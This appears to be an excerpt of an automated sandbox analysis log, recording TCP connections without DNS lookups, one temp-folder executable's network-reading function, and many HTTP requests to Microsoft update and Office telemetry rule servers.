Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EBCE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

7_2_00EBCE44

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KpNnL6yXzLT7T33&MD=H6NOomws HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
